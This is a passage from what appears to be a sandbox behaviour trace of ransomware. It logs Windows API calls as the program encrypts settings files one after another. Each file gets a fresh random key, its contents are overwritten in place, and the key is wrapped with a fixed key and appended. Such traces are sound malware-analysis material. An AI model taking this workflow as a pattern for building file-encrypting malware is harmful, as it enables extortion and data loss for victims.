pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.615] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.616] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.616] CloseHandle (hObject=0x1c24) returned 1 [0194.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.618] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{c555438b-3c23-4769-a71f-b6d3d9b6053a}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.619] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x33a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33a, lpOverlapped=0x0) returned 1 [0194.620] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.620] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x33a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33a, lpOverlapped=0x0) returned 1 [0194.620] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33a [0194.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.621] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.621] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.621] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.621] CloseHandle (hObject=0x1c24) returned 1 [0194.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.623] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C5361E07-6AA3-4453-81BC-93E8F85EABED}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.623] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e0, lpOverlapped=0x0) returned 1 [0194.624] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.624] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e0, lpOverlapped=0x0) returned 1 [0194.625] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e0 [0194.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.625] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.626] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.626] CloseHandle (hObject=0x1c24) returned 1 [0194.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.629] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C3F521C1-249F-48FD-9D9D-731EA4568776}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.629] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0194.630] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.630] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fe, lpOverlapped=0x0) returned 1 [0194.630] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fe [0194.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.632] CloseHandle (hObject=0x1c24) returned 1 [0194.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.633] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C3915CF9-A3D9-4EFD-B209-62C05793EE0F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.634] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0194.635] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-979, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.635] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0194.635] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d3 [0194.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.636] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.636] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.636] CloseHandle (hObject=0x1c24) returned 1 [0194.638] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.638] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.638] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{C16A18A2-DC4F-4B7D-92F1-14C430AD17DC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.638] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b3, lpOverlapped=0x0) returned 1 [0194.639] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.639] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b3, lpOverlapped=0x0) returned 1 [0194.640] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b3 [0194.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.640] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.641] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.641] CloseHandle (hObject=0x1c24) returned 1 [0194.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.642] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{bf782cc9-5a52-4a17-806c-2a894ffeeac5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.643] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x356, lpOverlapped=0x0) returned 1 [0194.644] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-854, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.644] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x356, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x356, lpOverlapped=0x0) returned 1 [0194.644] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x356 [0194.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.645] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.645] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.645] CloseHandle (hObject=0x1c24) returned 1 [0194.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{BEC9E135-14C1-4e00-B5C8-899F26833A5A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.650] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0194.651] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.651] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0194.652] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3aa [0194.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.652] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.652] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.653] CloseHandle (hObject=0x1c24) returned 1 [0194.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.654] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{be122a0e-4503-11da-8bde-f66bad1e3f3a}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.655] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x426, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0194.656] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.656] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x426, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0194.656] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x426 [0194.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.656] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.657] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.657] CloseHandle (hObject=0x1c24) returned 1 [0194.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.659] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{bd84b380-8ca2-1069-ab1d-08000948f534}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.659] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x327, lpOverlapped=0x0) returned 1 [0194.660] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-807, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.660] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x327, lpOverlapped=0x0) returned 1 [0194.661] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x327 [0194.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.661] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.661] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.661] CloseHandle (hObject=0x1c24) returned 1 [0194.663] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.663] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.663] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{BD256B65-94BE-4194-84BF-41D50D0EF26E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.663] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d4, lpOverlapped=0x0) returned 1 [0194.665] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.665] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d4, lpOverlapped=0x0) returned 1 [0194.665] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d4 [0194.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.665] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.666] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.666] CloseHandle (hObject=0x1c24) returned 1 [0194.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.668] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0194.668] SetFileAttributesW 